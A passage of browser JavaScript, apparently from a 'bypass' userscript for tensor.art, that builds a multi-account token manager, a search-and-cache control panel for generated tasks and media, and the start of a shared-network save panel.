updateUI();
} else {
showToast(result?.message || 'Detection is armed. Refresh the page to let Tensor load your profile request.', 'warning');
}
} catch (err) {
showToast(err?.message || 'Failed to detect current Tensor account', 'error');
} finally {
detectBtn.disabled = false;
detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect account';
}
};
empty.appendChild(detectBtn);
accountsContent.appendChild(empty);
} else {
// Compile controls
const compileControls = document.createElement('div');
compileControls.style.cssText = 'padding: 12px; background: rgba(99,102,241,0.1); border: 1px solid rgba(99,102,241,0.3); border-radius: 8px; display: flex; gap: 12px; align-items: center; justify-content: space-between;';
const compileInfo = document.createElement('div');
compileInfo.style.cssText = 'font-size: 12px; color: #cbd5e1;';
compileInfo.innerHTML = '<i class="fas fa-layer-group" style="margin-right: 8px;"></i><strong>Multi-Account Mode:</strong> Select accounts to view combined tasks';
const compileBtns = document.createElement('div');
compileBtns.style.cssText = 'display: flex; gap: 8px;';
const activeTokens = getActiveTokens();
const compileBtn = document.createElement('button');
compileBtn.className = 'bypass-btn bypass-btn-primary';
compileBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
compileBtn.textContent = `View Items (${activeTokens.length} Active)`;
compileBtn.onclick = () => {
currentTab = 'home';
updateUI();
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-secondary';
clearBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
clearBtn.textContent = 'Reset to Current';
clearBtn.disabled = activeTokens.length === 1 && activeTokens[0] === userToken;
clearBtn.onclick = () => {
clearActiveTokens();
updateUI();
};
const detectBtn = document.createElement('button');
detectBtn.className = 'bypass-btn bypass-btn-secondary';
detectBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect Current';
detectBtn.onclick = async () => {
try {
detectBtn.disabled = true;
detectBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Detecting...';
const result = await detectCurrentTensorAccount();
if (result?.detected) {
showToast(`Detected ${result.nickname}`, 'success');
updateUI();
} else {
showToast(result?.message || 'Detection is armed. Refresh the page to let Tensor load your profile request.', 'warning');
}
} catch (err) {
showToast(err?.message || 'Failed to detect current Tensor account', 'error');
} finally {
detectBtn.disabled = false;
detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect Current';
}
};
const deleteSelectedBtn = document.createElement('button');
deleteSelectedBtn.className = 'bypass-btn bypass-btn-danger';
deleteSelectedBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
deleteSelectedBtn.innerHTML = '<i class="fas fa-trash"></i> Delete Selected';
deleteSelectedBtn.onclick = () => {
const selected = allAccounts.filter(a => getActiveTokens().includes(a.token) && a.token !== userToken);
if (!selected.length) {
showToast('No non-current accounts selected to delete', 'warning');
return;
}
showConfirmDialog(`Delete ${selected.length} account(s)? This cannot be undone.`, () => {
selected.forEach(a => removeAccountData(a.token));
showToast(`Deleted ${selected.length} account(s)`, 'success');
updateUI();
});
};
compileBtns.appendChild(compileBtn);
compileBtns.appendChild(clearBtn);
compileBtns.appendChild(deleteSelectedBtn);
compileBtns.appendChild(detectBtn);
compileControls.appendChild(compileInfo);
compileControls.appendChild(compileBtns);
accountsContent.appendChild(compileControls);
// Account cards
allAccounts.forEach((account, idx) => {
const card = document.createElement('div');
const activeTokens = getActiveTokens();
const isSelected = activeTokens.includes(account.token);
const isActive = userToken === account.token;
card.style.cssText = `padding: 16px; background: ${isActive ? 'linear-gradient(135deg, rgba(99,102,241,0.15), rgba(99,102,241,0.05))' : 'rgba(15,23,42,0.4)'}; border: 2px solid ${isSelected ? '#6366f1' : 'rgba(148,163,184,0.25)'}; border-radius: 12px; display: flex; gap: 16px; align-items: flex-start; position: relative; cursor: pointer; transition: all 200ms;`;
// Checkbox for compile selection
const checkbox = document.createElement('input');
checkbox.type = 'checkbox';
checkbox.checked = isSelected;
checkbox.style.cssText = 'width: 20px; height: 20px; cursor: pointer; flex-shrink: 0; margin-top: 4px;';
checkbox.onclick = (e) => {
e.stopPropagation();
const activeTokens = getActiveTokens();
if (activeTokens.includes(account.token)) {
// Don't allow removing current user's token
if (account.token === userToken) {
showNotification('warning', 'Cannot deselect current logged-in account');
checkbox.checked = true;
return;
}
removeActiveToken(account.token);
} else {
addActiveToken(account.token);
}
updateUI();
};
const avatar = document.createElement('img');
avatar.src = account.profileData?.profile?.info?.avatar || '';
avatar.style.cssText = 'width: 64px; height: 64px; border-radius: 50%; object-fit: cover; flex-shrink: 0; border: 3px solid rgba(99,102,241,0.3);';
avatar.onerror = () => {
avatar.style.display = 'none';
const fallback = document.createElement('div');
fallback.style.cssText = 'width: 64px; height: 64px; border-radius: 50%; background: rgba(99,102,241,0.2); display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: 3px solid rgba(99,102,241,0.3);';
fallback.innerHTML = '<i class="fas fa-user" style="color: #6366f1; opacity: 0.7; font-size: 24px;"></i>';
card.insertBefore(fallback, card.children[1]);
};
const info = document.createElement('div');
info.style.cssText = 'flex: 1;';
const isVip = account.profileData?.vipInfo?.isVip || false;
const taskCount = getAccountTaskCount(account.token);
info.innerHTML = `
<div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
<span style="font-weight: 700; color: #f1f5f9; font-size: 16px;">${escapeHtml(account.nickname || 'Unknown User')}</span>
${isVip ? '<span style="background: linear-gradient(135deg, #fbbf24, #f59e0b); color: #000; padding: 2px 8px; border-radius: 4px; font-size: 10px; font-weight: 700; text-transform: uppercase;">VIP</span>' : ''}
${isActive ? '<span style="background: rgba(34,197,94,0.2); color: #10b981; padding: 2px 8px; border-radius: 4px; font-size: 10px; font-weight: 600;">ACTIVE</span>' : ''}
</div>
<div style="font-size: 12px; color: #94a3b8; margin-bottom: 8px; line-height: 1.4;">${escapeHtml((account.description || '').substring(0, 100))}${account.description?.length > 100 ? '...' : ''}</div>
<div style="display: flex; gap: 16px; margin-bottom: 8px;">
<div style="font-size: 11px; color: #64748b;"><i class="fas fa-tasks" style="margin-right: 6px; color: #6366f1;"></i><strong>${taskCount}</strong> tasks</div>
<div style="font-size: 11px; color: #64748b;"><i class="fas fa-fingerprint" style="margin-right: 6px; color: #6366f1;"></i>${escapeHtml(account.userId || 'N/A')}</div>
</div>
<div style="font-size: 10px; color: #64748b; font-family: 'Courier New', monospace; word-break: break-all; opacity: 0.7;">Token: ${escapeHtml(account.token.substring(0, 30))}...</div>
`;
const actions = document.createElement('div');
actions.style.cssText = 'display: flex; flex-direction: column; gap: 6px; flex-shrink: 0;';
const viewBtn = document.createElement('button');
viewBtn.className = 'bypass-btn ' + (isActive ? 'bypass-btn-secondary' : 'bypass-btn-primary');
viewBtn.style.cssText = 'padding: 8px 16px; font-size: 11px; font-weight: 600;';
viewBtn.textContent = isActive ? 'Viewing' : 'View';
viewBtn.disabled = isActive;
viewBtn.onclick = (e) => {
e.stopPropagation();
if (!isActive) {
// Clear all and set only this account as active
setActiveTokens([account.token]);
currentPreviewUserToken = account.token;
localStorage.setItem('freeBypassPreviewToken', account.token);
currentTab = 'home';
updateUI();
}
};
const moreBtn = document.createElement('button');
moreBtn.className = 'bypass-btn bypass-btn-secondary';
moreBtn.style.cssText = 'padding: 8px 12px; font-size: 11px;';
moreBtn.innerHTML = '<i class="fas fa-ellipsis-v"></i>';
moreBtn.title = 'More options';
moreBtn.onclick = (e) => {
e.stopPropagation();
showAccountContextMenu(e, account);
};
actions.appendChild(viewBtn);
actions.appendChild(moreBtn);
card.appendChild(checkbox);
card.appendChild(avatar);
card.appendChild(info);
card.appendChild(actions);
card.onclick = () => {
checkbox.checked = !checkbox.checked;
checkbox.onclick({ stopPropagation: () => {} });
};
accountsContent.appendChild(card);
});
}
content.appendChild(accountsContent);
} else if (currentTab === 'dataControl') {
const dataControlContent = document.createElement('div');
dataControlContent.style.cssText = 'display:flex; flex-direction:column; gap:12px; height:100%; overflow-y:auto;';
const stats = getCacheStatistics();
// Stats header
const statsHeader = document.createElement('div');
statsHeader.style.cssText = 'display:grid; grid-template-columns:repeat(4, minmax(0, 1fr)); gap:8px; padding:12px; background:linear-gradient(135deg, rgba(99,102,241,0.15), rgba(14,165,233,0.08)); border:1px solid rgba(99,102,241,0.25); border-radius:10px;';
statsHeader.innerHTML = `
<div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
<div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-tasks" style="margin-right:6px;color:#6366f1;"></i>Total Tasks</div>
<div style="font-size:18px;font-weight:800;color:#e2e8f0;">${stats.totalTasks}</div>
</div>
<div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
<div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-layer-group" style="margin-right:6px;color:#6366f1;"></i>Total Items</div>
<div style="font-size:18px;font-weight:800;color:#e2e8f0;">${stats.totalItems}</div>
</div>
<div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
<div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-image" style="margin-right:6px;color:#10b981;"></i>Images</div>
<div style="font-size:16px;font-weight:800;color:#10b981;">${stats.byType.images}</div>
</div>
<div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
<div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-video" style="margin-right:6px;color:#ef4444;"></i>Videos</div>
<div style="font-size:16px;font-weight:800;color:#ef4444;">${stats.byType.videos}</div>
</div>
`;
dataControlContent.appendChild(statsHeader);
// ============================================================================
// SEARCH SECTION
// ============================================================================
const searchContainer = document.createElement('div');
searchContainer.style.cssText = 'display:flex; flex-direction:column; gap:8px; padding:10px; background:rgba(51,65,85,0.28); border:1px solid rgba(148,163,184,0.18); border-radius:10px;';
const searchHeaderRow = document.createElement('div');
searchHeaderRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px;';
searchHeaderRow.innerHTML = '<div style="font-size:12px; font-weight:700; color:#cbd5e1;"><i class="fas fa-search" style="margin-right:8px; color:#6366f1;"></i>Search & Browse</div>';
const typeToggleWrap = document.createElement('div');
typeToggleWrap.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap; align-items:center; justify-content:flex-end;';
searchHeaderRow.appendChild(typeToggleWrap);
searchContainer.appendChild(searchHeaderRow);
const showTypes = { task: true, item: true };
function createMiniToggle(label, key) {
const btn = document.createElement('button');
btn.className = 'bypass-btn bypass-btn-secondary';
btn.style.cssText = 'width:auto; flex:0 0 auto; padding:4px 10px; font-size:10px; border-radius:999px; line-height:1.2; text-transform:none; letter-spacing:0;';
const render = () => {
btn.style.opacity = showTypes[key] ? '1' : '0.55';
btn.style.borderColor = showTypes[key] ? '#6366f1' : '#475569';
btn.innerHTML = `<i class="fas ${key === 'task' ? 'fa-tasks' : 'fa-layer-group'}" style="margin-right:6px;"></i>${label}`;
};
btn.onclick = (e) => {
e.stopPropagation();
showTypes[key] = !showTypes[key];
if (!showTypes.task && !showTypes.item) showTypes[key] = true;
render();
scheduleSearch();
};
render();
return btn;
}
typeToggleWrap.appendChild(createMiniToggle('Tasks', 'task'));
typeToggleWrap.appendChild(createMiniToggle('Items', 'item'));
const searchInputRow = document.createElement('div');
searchInputRow.style.cssText = 'display:flex; gap:8px; align-items:center;';
const searchInput = document.createElement('input');
searchInput.type = 'text';
searchInput.placeholder = 'Search tasks or items (ID, name, date, tool...)';
searchInput.style.cssText = `
width:100%;
flex:1;
padding:8px;
border:1px solid #475569;
border-radius:6px;
background:#1e293b;
color:#f1f5f9;
font-size:12px;
outline:none;
`;
searchInput.onclick = (e) => e.stopPropagation();
searchInputRow.appendChild(searchInput);
const clearSearchBtn = document.createElement('button');
clearSearchBtn.className = 'bypass-btn bypass-btn-secondary';
clearSearchBtn.style.cssText = 'width:38px; min-width:38px; flex:0 0 38px; padding:8px 0; font-size:11px; border-radius:10px;';
clearSearchBtn.title = 'Clear search';
clearSearchBtn.innerHTML = '<i class="fas fa-times"></i>';
clearSearchBtn.disabled = true;
clearSearchBtn.style.opacity = '0.7';
clearSearchBtn.onclick = (e) => {
e.stopPropagation();
searchInput.value = '';
clearSearchBtn.disabled = true;
clearSearchBtn.style.opacity = '0.7';
searchInput.focus();
performSearch();
};
searchInputRow.appendChild(clearSearchBtn);
searchContainer.appendChild(searchInputRow);
const searchFilters = document.createElement('div');
searchFilters.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap;';
const filterTypes = [
{ id: 'taskId', label: 'Task ID', icon: 'fa-tag' },
{ id: 'toolName', label: 'Tool Name', icon: 'fa-wrench' },
{ id: 'expireDate', label: 'Expiry', icon: 'fa-calendar' },
{ id: 'itemType', label: 'Type', icon: 'fa-image' },
{ id: 'source', label: 'Source', icon: 'fa-link' },
{ id: 'all', label: 'All Fields', icon: 'fa-search' }
];
const selectedFilters = new Set(['all']);
function updateFilterBtnStyles() {
filterTypes.forEach(f => {
const b = searchFilters.querySelector(`button[data-filter="${f.id}"]`);
if (!b) return;
const active = selectedFilters.has('all') ? f.id === 'all' : selectedFilters.has(f.id);
b.style.background = active ? 'rgba(99,102,241,0.4)' : 'rgba(99,102,241,0.15)';
b.style.borderColor = active ? '#6366f1' : '#475569';
b.style.color = active ? '#e2e8f0' : '#cbd5e1';
});
}
filterTypes.forEach(filter => {
const btn = document.createElement('button');
btn.style.cssText = `
flex:0 0 auto;
padding:4px 10px;
background:${filter.id === 'all' ? 'rgba(99,102,241,0.4)' : 'rgba(99,102,241,0.15)'};
border:1px solid ${filter.id === 'all' ? '#6366f1' : '#475569'};
border-radius:16px;
color:#cbd5e1;
font-size:11px;
cursor:pointer;
transition:all 0.2s;
`;
btn.innerHTML = `<i class="fas ${filter.icon}"></i> ${filter.label}`;
btn.onclick = () => {
if (filter.id === 'all') {
selectedFilters.clear();
selectedFilters.add('all');
} else {
selectedFilters.delete('all');
if (selectedFilters.has(filter.id)) {
selectedFilters.delete(filter.id);
} else {
selectedFilters.add(filter.id);
}
if (selectedFilters.size === 0) {
selectedFilters.add('all');
}
}
updateFilterBtnStyles();
performSearch();
};
btn.setAttribute('data-filter', filter.id);
searchFilters.appendChild(btn);
});
updateFilterBtnStyles();
searchContainer.appendChild(searchFilters);
dataControlContent.appendChild(searchContainer);
// ============================================================================
// SEARCH RESULTS SECTION
// ============================================================================
const resultsContainer = document.createElement('div');
resultsContainer.id = 'search-results';
resultsContainer.style.cssText = 'flex:1; overflow-y:auto; display:flex; flex-direction:column; gap:8px;';
// Hide search box on scroll-down, show on scroll-up (gives more space to results)
searchContainer.style.transition = 'max-height 0.22s ease, opacity 0.18s ease, transform 0.22s ease, margin 0.22s ease, padding 0.22s ease, border-width 0.22s ease';
searchContainer.style.willChange = 'max-height, opacity, transform';
searchContainer.style.overflow = 'hidden';
let searchExpandedHeight = 0;
let searchCollapsed = false;
const rememberSearchHeight = () => {
try {
// Ensure we measure while expanded
const prev = searchContainer.style.maxHeight;
searchContainer.style.maxHeight = 'none';
searchExpandedHeight = Math.max(1, searchContainer.scrollHeight);
searchContainer.style.maxHeight = prev || '';
} catch {
searchExpandedHeight = 0;
}
};
rememberSearchHeight();
const setSearchCollapsed = (collapsed) => {
if (collapsed === searchCollapsed) return;
searchCollapsed = collapsed;
if (collapsed) {
searchContainer.style.maxHeight = '0px';
searchContainer.style.opacity = '0';
searchContainer.style.transform = 'translateY(-10px)';
searchContainer.style.paddingTop = '0px';
searchContainer.style.paddingBottom = '0px';
searchContainer.style.borderWidth = '0px';
searchContainer.style.marginBottom = '0px';
searchContainer.style.pointerEvents = 'none';
} else {
rememberSearchHeight();
searchContainer.style.maxHeight = (searchExpandedHeight ? searchExpandedHeight + 'px' : '999px');
searchContainer.style.opacity = '1';
searchContainer.style.transform = 'translateY(0px)';
searchContainer.style.paddingTop = '10px';
searchContainer.style.paddingBottom = '10px';
searchContainer.style.borderWidth = '1px';
searchContainer.style.marginBottom = '';
searchContainer.style.pointerEvents = 'auto';
}
};
// Keep it expanded initially
searchContainer.style.maxHeight = '999px';
let lastResultsScrollTop = 0;
resultsContainer.addEventListener('scroll', () => {
const st = resultsContainer.scrollTop;
const delta = st - lastResultsScrollTop;
lastResultsScrollTop = st;
if (st < 16) {
setSearchCollapsed(false);
return;
}
if (delta > 6) {
setSearchCollapsed(true);
} else if (delta < -6) {
setSearchCollapsed(false);
}
}, { passive: true });
// Build searchable data once per render (Data Control rerenders on updateUI())
const searchData = [];
taskMap.forEach((task, taskId) => {
const toolName = task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown Tool';
const created = task?.createdAt ? new Date(parseInt(task.createdAt) * 1000).toLocaleDateString() : 'N/A';
const expires = task?.expireAt ? new Date(parseInt(task.expireAt) * 1000).toLocaleDateString() : 'N/A';
const source = task?.source || 'tensor.art';
searchData.push({
type: 'task',
id: taskId,
taskId: taskId,
toolName: toolName,
createdDate: created,
expiryDate: expires,
source: source,
fullText: `${taskId} ${toolName} ${created} ${expires} ${source}`.toLowerCase(),
data: task
});
});
itemsData.forEach(item => {
const itemType = item.type || (item.mimeType?.includes('video') ? 'Video' : 'Image');
const source = item?.source || 'tensor.art';
const expiryDate = item?.expireAt ? new Date(parseInt(item.expireAt) * 1000).toLocaleDateString() : 'N/A';
searchData.push({
type: 'item',
id: item.id,
taskId: item.taskId,
itemType: itemType,
expiryDate: expiryDate,
source: source,
fullText: `${item.id} ${item.taskId || ''} ${itemType} ${expiryDate} ${source}`.toLowerCase(),
data: item
});
});
function copyTextToClipboard(text) {
try {
if (navigator.clipboard?.writeText) {
return navigator.clipboard.writeText(text);
}
const ta = document.createElement('textarea');
ta.value = text;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
return Promise.resolve();
} catch (e) {
return Promise.reject(e);
}
}
let searchDebounceTimer = null;
function scheduleSearch() {
if (searchDebounceTimer) clearTimeout(searchDebounceTimer);
searchDebounceTimer = setTimeout(() => performSearch(), 80);
}
function performSearch() {
const query = searchInput.value.toLowerCase().trim();
resultsContainer.innerHTML = '';
clearSearchBtn.disabled = !query;
clearSearchBtn.style.opacity = query ? '1' : '0.7';
// Perform search
let results = searchData;
if (query) {
if (selectedFilters.has('all')) {
// Search all fields
results = searchData.filter(r => r.fullText.includes(query));
} else {
// Search only selected filters
results = searchData.filter(r => {
if (selectedFilters.has('taskId') && r.taskId?.toLowerCase().includes(query)) return true;
if (selectedFilters.has('toolName') && r.toolName?.toLowerCase().includes(query)) return true;
if (selectedFilters.has('expireDate') && r.expiryDate?.includes(query)) return true;
if (selectedFilters.has('itemType') && r.itemType?.toLowerCase().includes(query)) return true;
if (selectedFilters.has('source') && r.source?.toLowerCase().includes(query)) return true;
return false;
});
}
}
// Apply type toggles
results = results.filter(r => (r.type === 'task' ? showTypes.task : showTypes.item));
// Display results
if (results.length === 0) {
resultsContainer.innerHTML = `<div style="text-align:center; padding:20px; color:#94a3b8; font-size:12px;">${query ? 'No results found' : 'Enter search query or browse all'}</div>`;
return;
}
const MAX_RESULTS = query ? 250 : 120;
const limitedResults = results.length > MAX_RESULTS ? results.slice(0, MAX_RESULTS) : results;
const resultsSummary = document.createElement('div');
resultsSummary.style.cssText = 'font-size:11px; color:#94a3b8; padding:8px 0; display:flex; align-items:center; justify-content:space-between; gap:10px;';
resultsSummary.innerHTML = `<span>Found <strong style="color:#e2e8f0;">${results.length}</strong> result${results.length !== 1 ? 's' : ''}${results.length > MAX_RESULTS ? ` (showing first ${MAX_RESULTS})` : ''}</span><span style="opacity:0.85;">Tip: right-click a row for actions.</span>`;
resultsContainer.appendChild(resultsSummary);
limitedResults.forEach(result => {
const row = document.createElement('div');
row.style.cssText = `
padding:8px;
background:rgba(15,23,42,0.5);
border:1px solid #475569;
border-radius:6px;
font-size:11px;
display:flex;
flex-direction:column;
gap:4px;
cursor:pointer;
transition:all 0.3s;
`;
row.onmouseover = () => {
row.style.background = 'rgba(99,102,241,0.16)';
row.style.borderColor = 'rgba(99,102,241,0.55)';
};
row.onmouseout = () => {
row.style.background = 'rgba(15,23,42,0.5)';
row.style.borderColor = '#475569';
};
row.onclick = () => showTaskPreviewDialog(result);
row.addEventListener('contextmenu', (e) => {
e.preventDefault();
showDataControlContextMenu(e.clientX, e.clientY, result);
});
const topRow = document.createElement('div');
topRow.style.cssText = 'display:flex; align-items:flex-start; justify-content:space-between; gap:10px;';
row.appendChild(topRow);
const left = document.createElement('div');
left.style.cssText = 'flex:1; min-width:0;';
topRow.appendChild(left);
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:6px; align-items:center; flex-shrink:0;';
topRow.appendChild(actions);
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-secondary';
copyBtn.style.cssText = 'width:34px; min-width:34px; flex:0 0 34px; padding:6px 0; font-size:10px; border-radius:10px;';
copyBtn.title = 'Copy ID to clipboard';
copyBtn.innerHTML = '<i class="fas fa-copy"></i>';
copyBtn.onclick = async (e) => {
e.stopPropagation();
const idToCopy = result.type === 'task' ? result.taskId : result.id;
try {
await copyTextToClipboard(idToCopy);
showNotification('success', 'Copied ID to clipboard');
} catch (err) {
console.error('Copy failed', err);
showNotification('error', 'Failed to copy');
}
};
actions.appendChild(copyBtn);
const chevron = document.createElement('div');
chevron.style.cssText = 'color:#6366f1; opacity:0.9; padding-top:2px;';
chevron.innerHTML = '<i class="fas fa-chevron-right"></i>';
actions.appendChild(chevron);
if (result.type === 'task') {
const taskStatus = result.data?.status || result.data?.state || '';
const statusBadge = taskStatus
? `<span style="display:inline-block; margin-left:8px; padding:2px 8px; border-radius:999px; font-size:10px; background:rgba(99,102,241,0.18); border:1px solid rgba(99,102,241,0.35); color:#c7d2fe;">${escapeHtml(String(taskStatus))}</span>`
: '';
left.innerHTML = `
<div title="${escapeHtml(result.taskId)}" style="color:#6366f1; font-weight:800; word-break:break-all;">${escapeHtml(result.taskId.substring(0, 36))}${result.taskId.length > 36 ? '…' : ''}${statusBadge}</div>
<div style="color:#cbd5e1; margin-top:4px;"><strong>Tool:</strong> ${escapeHtml(result.toolName)}</div>
<div style="color:#94a3b8; margin-top:2px; font-size:10px;"><strong>Created:</strong> ${escapeHtml(result.createdDate)} | <strong>Expires:</strong> ${escapeHtml(result.expiryDate)}</div>
<div style="color:#a78bfa; margin-top:2px; font-size:10px;"><i class="fas fa-link"></i> ${escapeHtml(result.source)}</div>
`;
} else {
const isHidden = cacheDeletions.hidden.includes(result.id);
const isNoRegain = cacheDeletions.noRegain.includes(result.id);
const status = isNoRegain
? '<i class="fas fa-lock"></i> No-Regain'
: isHidden
? '<i class="fas fa-eye-slash"></i> Hidden'
: '<i class="fas fa-check-circle"></i> Active';
const statusColor = isNoRegain ? '#ef4444' : isHidden ? '#f59e0b' : '#10b981';
left.innerHTML = `
<div title="${escapeHtml(result.id)}" style="color:#6366f1; font-weight:800; word-break:break-all;">${escapeHtml(result.id.substring(0, 36))}${result.id.length > 36 ? '…' : ''}</div>
<div style="color:#cbd5e1; margin-top:4px;"><strong>Task:</strong> ${escapeHtml((result.taskId || 'N/A').substring(0, 24))}${(result.taskId || '').length > 24 ? '…' : ''} | <strong>Type:</strong> ${escapeHtml(result.itemType)}</div>
<div style="color:#94a3b8; margin-top:2px; font-size:10px;"><strong>Expires:</strong> ${escapeHtml(result.expiryDate)}</div>
<div style="color:${statusColor}; margin-top:2px; font-size:10px; font-weight:700;">${status}</div>
`;
}
resultsContainer.appendChild(row);
});
}
// Perform initial search on load
searchInput.oninput = scheduleSearch;
searchInput.onkeyup = scheduleSearch;
performSearch();
dataControlContent.appendChild(resultsContainer);
// Cache control buttons
const controlBtns = document.createElement('div');
controlBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:auto; padding-top:8px;';
const deletionRulesBtn = document.createElement('button');
deletionRulesBtn.className = 'bypass-btn bypass-btn-secondary';
deletionRulesBtn.style.cssText = 'flex:1; min-width:130px; font-size:11px; padding:8px; border-color:rgba(99,102,241,0.5);';
deletionRulesBtn.innerHTML = '<i class="fas fa-shield-alt" style="margin-right:5px;color:#6366f1;"></i> Deletion Rules';
deletionRulesBtn.onclick = () => showDeletionRulesDialog();
controlBtns.appendChild(deletionRulesBtn);
const clearAllBtn = document.createElement('button');
clearAllBtn.className = 'bypass-btn bypass-btn-danger';
clearAllBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
clearAllBtn.innerHTML = '<i class="fas fa-trash"></i> Clear All';
clearAllBtn.onclick = () => {
showCacheClearDialog();
};
controlBtns.appendChild(clearAllBtn);
const resetAllBtn = document.createElement('button');
resetAllBtn.className = 'bypass-btn bypass-btn-danger';
resetAllBtn.style.cssText = 'flex:1; min-width:150px; font-size:11px; padding:8px; background:linear-gradient(135deg, #7f1d1d, #991b1b);';
resetAllBtn.innerHTML = '<i class="fas fa-bomb"></i> Reset & Delete All Data';
resetAllBtn.onclick = () => {
showResetAllDataDialog();
};
controlBtns.appendChild(resetAllBtn);
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
exportBtn.innerHTML = '<i class="fas fa-download"></i> Export';
exportBtn.onclick = () => {
showExportDialog();
};
controlBtns.appendChild(exportBtn);
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
refreshBtn.innerHTML = '<i class="fas fa-sync"></i> Refresh';
refreshBtn.onclick = () => {
updateUI();
};
controlBtns.appendChild(refreshBtn);
dataControlContent.appendChild(controlBtns);
// Hidden items section
if (cacheDeletions.hidden.length > 0) {
const hiddenSection = createCollapsibleSection('Hidden Items', 'fa-eye-slash', false);
hiddenSection.content.innerHTML = `<div style="font-size:12px;font-weight:700;color:#cbd5e1;margin-bottom:8px;">Hidden Items (${cacheDeletions.hidden.length})</div>`;
const hiddenList = document.createElement('div');
hiddenList.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:10px;';
cacheDeletions.hidden.forEach(itemId => {
const row = document.createElement('div');
row.style.cssText = 'display:flex; justify-content:space-between; align-items:center; padding:6px; background:rgba(15,23,42,0.6); border-radius:4px;';
row.innerHTML = `<span style="color:#94a3b8; word-break:break-all;">${itemId.substring(0, 20)}...</span>`;
const restoreBtn = document.createElement('button');
restoreBtn.style.cssText = 'background:transparent; border:none; color:#6366f1; cursor:pointer; font-size:11px; padding:2px 6px;';
restoreBtn.textContent = 'Restore';
restoreBtn.onclick = () => {
removeItemHidden(itemId);
updateUI();
};
row.appendChild(restoreBtn);
hiddenList.appendChild(row);
});
hiddenSection.content.appendChild(hiddenList);
dataControlContent.appendChild(hiddenSection.section);
}
// No-regain items section
if (cacheDeletions.noRegain.length > 0) {
const noRegainSection = createCollapsibleSection('Permanently Deleted Items', 'fa-lock', false);
noRegainSection.content.innerHTML = `<div style="font-size:12px;font-weight:800;color:#ef4444;margin-bottom:8px;">Permanently Deleted Items (${cacheDeletions.noRegain.length})</div>`;
const noRegainList = document.createElement('div');
noRegainList.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:10px;';
cacheDeletions.noRegain.forEach(itemId => {
const row = document.createElement('div');
row.style.cssText = 'display:flex; justify-content:space-between; align-items:center; padding:6px; background:rgba(15,23,42,0.6); border-radius:4px;';
row.innerHTML = `<span style="color:#ef4444; word-break:break-all;"><i class="fas fa-times-circle"></i> ${itemId.substring(0, 20)}...</span>`;
const allowBtn = document.createElement('button');
allowBtn.style.cssText = 'background:transparent; border:none; color:#10b981; cursor:pointer; font-size:11px; padding:2px 6px;';
allowBtn.textContent = 'Recover';
allowBtn.title = 'Allow this item to be re-cached if it appears again';
allowBtn.onclick = () => {
removeItemNoRegain(itemId);
updateUI();
};
row.appendChild(allowBtn);
noRegainList.appendChild(row);
});
noRegainSection.content.appendChild(noRegainList);
dataControlContent.appendChild(noRegainSection.section);
}
content.appendChild(dataControlContent);
} else if (currentTab === 'sharedNetwork') {
const colors = getThemeColors();
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px;';
wrap.setAttribute('data-bypass-sharednet-root', 'true');
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;
const top = document.createElement('div');
top.style.cssText = `
border: 1px solid ${colors.border};
border-radius: 12px;
padding: 12px;
background: ${colors.bgSecondary};
display: grid;
gap: 10px;
`;
const title = document.createElement('div');
title.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px;`;
title.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
<div style="font-size:13px; font-weight:800; color:${colors.text};">
<i class="fas fa-network-wired" style="color:${colors.primary}; margin-right:8px;"></i>
Shared Network Save
</div>
<div style="font-size:11px; color:${colors.textSecondary};">Send cached tasks/items to a trusted host via HTTP or WebSocket.</div>
</div>
`;
const infoBtn = document.createElement('button');
infoBtn.className = 'bypass-btn bypass-btn-secondary';
infoBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
infoBtn.innerHTML = '<i class="fas fa-circle-info"></i> More info';
infoBtn.onclick = () => {
showSharedNetworkInfoDialog();
};
const docsBtn = document.createElement('button');
docsBtn.className = 'bypass-btn bypass-btn-primary';
docsBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
docsBtn.innerHTML = '<i class="fas fa-book"></i> Docs';
